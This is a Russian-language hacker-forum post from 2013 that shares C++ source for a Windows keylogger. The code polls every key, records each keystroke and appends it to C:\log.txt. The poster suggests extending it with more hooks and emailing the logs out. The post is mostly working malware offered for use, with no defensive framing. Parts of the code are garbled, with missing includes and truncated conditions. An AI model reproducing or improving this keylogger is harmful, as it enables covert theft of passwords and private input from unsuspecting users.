Тема: Блог vladyx'и
Показать сообщение отдельно

  #116  
Старый 26.10.2013, 01:00
vladyxa13
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
С нами: 6900086

Репутация: 227


По умолчанию

Нашел путевый сорц кейлогера на http://forum.k0d.cc/

C++ highlight

[LEFT]
Код:
#include 
#include 
#include 
#include 
using
namespace
std;
string GetKey(int Key)
{
string KeyString =
""
;
if
(Key ==
8
)
KeyString =
"[delete]"
;
else
if
(Key ==
13
)
KeyString =
"\n"
;
else
if
(Key ==
32
)
KeyString =
" "
;
else
if
(Key == VK_PAUSE)
KeyString =
"[PAUSE]"
;
else
if
(Key == VK_CAPITAL)
KeyString =
"[CAPITAL]"
;
else
if
(Key == VK_SHIFT)
KeyString =
"[SHIFT]"
;
else
if
(Key == VK_TAB)
KeyString =
"[TABULATOR]"
;
else
if
(Key == VK_CONTROL)
KeyString =
"[CTRL]"
;
else
if
(Key == VK_ESCAPE)
KeyString =
"[ESCAPE]"
;
else
if
(Key == VK_END)
KeyString =
"[END]"
;
else
if
(Key == VK_HOME)
KeyString =
"[HOME]"
;
else
if
(Key == VK_LEFT)
KeyString =
"
" ; else if (Key == VK_RIGHT) KeyString = "[right]" ; else if (Key == VK_UP) KeyString = "[UP]" ; else if (Key == VK_DOWN) KeyString = "[DOWN]" ; else if (Key == VK_SNAPSHOT) KeyString = "[SNAPSHOT]" ; else if (Key == VK_NUMLOCK) KeyString = "[NUMLOCK]" ; else if (Key == 190 || Key == 110 ) KeyString = "." ; else if (Key >= 96 && Key 47 && Key 64 && Key < 91 ) { if ( GetKeyState (VK_CAPITAL)) KeyString = Key; else { Key = Key + 32 ; KeyString = Key; } } } return KeyString; } int main() { string Filename = "C:\\log.txt" ; string TempString = "" ; fstream FStream; FStream. open (Filename. c_str (), fstream::out | fstream::app); while ( true ) { Sleep ( 5 ); for ( int i = 8 ; i < 191 ; i++) { if ( GetAsyncKeyState (i)& 1 == 1 ) { TempString = GetKey (i); FStream. write (TempString. c_str (), TempString. size ()); FStream. close (); FStream. open (Filename. c_str (), std::fstream::out | std::fstream::app); } } } }
Можно прокачать кейлогер до такого уровня....просто добавив еще хуков и отправку на мыло отчета
требования гугл,тишина, компилятор, время = кул кейлогер
 
Ответить с цитированием